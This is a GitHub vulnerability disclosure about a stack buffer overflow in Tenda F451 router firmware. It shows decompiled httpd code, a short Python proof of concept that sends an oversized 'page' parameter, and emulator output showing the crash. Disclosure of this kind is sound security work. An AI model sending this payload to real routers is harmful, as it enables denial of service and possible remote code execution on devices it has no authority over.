

Jimi-Lab / cve Public[Code](#) [Issues 26](#) [Pull requests](#) [Actions](#) [Projects](#) [Security and quality](#)[New issue](#)

The fromwebExcptypemanFilter function in Tenda's F451_kfw_V1.0.0.7_cn_svn7958 product has a buffer overflow #25

[Open](#)

Jimi-Lab opened 3 weeks ago

[Owner](#)

Information

Vendor: Tenda

Product: F451_kfw_V1.0.0.7_cn_svn7958

Version: V1.0.0.7

Vulnerability: buffer overflow

Firmware Download: <https://www.tenda.com.cn/material/show/1597>

Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :

In fromwebExcptypemanFilter function,it reads in a user-provided parameter page

```
37 sub_1495C("SafeWebtypeFilter", formSafeWebtypeFilter);
38 sub_1495C("webtypeman", fromwebtypeman);
39 sub_1495C("webtypegruop", formWebTypeGroup);
40 sub_D878("aspwebtypegroup", aspWebTypeGroup);
41 sub_1495C("webtypelibrary", formWebTypeLibrary);
42 sub_D878("aspwebtypelibrary", aspWebTypeLibrary);
43 sub_1495C("GetUrlMember", formUrlMember);
44 sub_1495C("GetAllUrlList", formAllUrlList);
45 sub_1495C("webExcptypemanFilter", fromwebExcptypemanFilter);
46 sub_1495C("L7Prot", frmL7ProtForm);
47 sub_1495C("qossetting", fromqossetting);
48 sub_1495C("Natlimit", fromNatlimit);
49 sub_D878("TendaGetArp", aspTendaGetArp);
50 sub_1495C("SafeMacFilter", fromSafeMacFilter);
51 sub_1495C("SafeIpFilter", formSafeIpFilter);
52 sub_1495C("maxLinkNumSet", frommaxLinkNumSet);
53 sub_D878("GetmaxLinkNum", aspGetmaxLinkNum);
54 sub_1495C("FireallSpi", fromSpiFirewall);
```

And the variable `v6` is passed to the `sprintf` function without any length check, which may overflow the stack-based buffer `s`.

```

1 int __fastcall fromwebExcptyemanFilter(int a1)
2 {
3     int v1; // r0
4     char s[256]; // [sp+10h] [bp-124h] BYREF
5     int v5; // [sp+110h] [bp-24h]
6     const char *v6; // [sp+114h] [bp-20h]
7     int v7; // [sp+118h] [bp-1Ch]
8     int v8; // [sp+11Ch] [bp-18h]
9     char *s1; // [sp+120h] [bp-14h]
10    int v10; // [sp+124h] [bp-10h]
11
12    v10 = sub_28BCC(a1, "entry", &unk_831A0);
13    s1 = (char *)sub_28BCC(a1, "op", "no");
14    v8 = sub_28BCC(a1, "ipflag", &unk_831A0);
15    v7 = sub_28BCC(a1, "timeflag", &unk_831A0);
16    SetValue("ipgroup.flag", v8);
17    SetValue("timegroup.flag", v7);
18    sub_3A530("filter.webexcpt", v10, 126);
19    v6 = (const char *)sub_28BCC(a1, "page", "1");
20    sprintf(s, "firewall_murlexcplist.asp?page=%s", v6);
21    v1 = strncmp(s1, "add", 3u);
22    if ( v1 )
23    {
24        v1 = strncmp(s1, "edit", 4u);
25        if ( v1 )
26        {
27            v5 = sub_28BCC(a1, "enableIt", "0");
28            v1 = SetValue("filter.webexcpt.en", v5);

```

As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code execution.

Proof of Concept (POC)

```

import requests
url = "http://127.0.0.1/goform/webExcptyemanFilter"
payload = {
'page':b'a'*2048
}
res = requests.post(url=url,data=payload)

```

Overcome

```
lah@lah: ~/TengDa/_F451_kfw_V1.0.0.7_cn_svn7958.bin.extra...
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
connect: No such file or directory
Connect to server failed.
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
段错误
lah@lah:~/TengDa/_F451_kfw_V1.0.0.7_cn_svn7958.bin.extracted/squashfs-root$

lah@lah: ~
lah@lah: $ python3 poc22.py
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 700, in
urlopen
    httplib_response = self._make_request(
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 446, in
_make_request
    six.raise_from(e, None)
  File "<string>", line 3, in raise_from
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 441, in
_make_request
    httplib_response = conn.getresponse()
  File "/usr/lib/python3.10/http/client.py", line 1375, in getresponse
    response.begin()
  File "/usr/lib/python3.10/http/client.py", line 318, in begin
    version, status, reason = self._read_status()
  File "/usr/lib/python3.10/http/client.py", line 287, in _read_status
    raise RemoteDisconnected("Remote end closed connection without"
http.client.RemoteDisconnected: Remote end closed connection without response

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
```

[Sign up for free](#)to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants



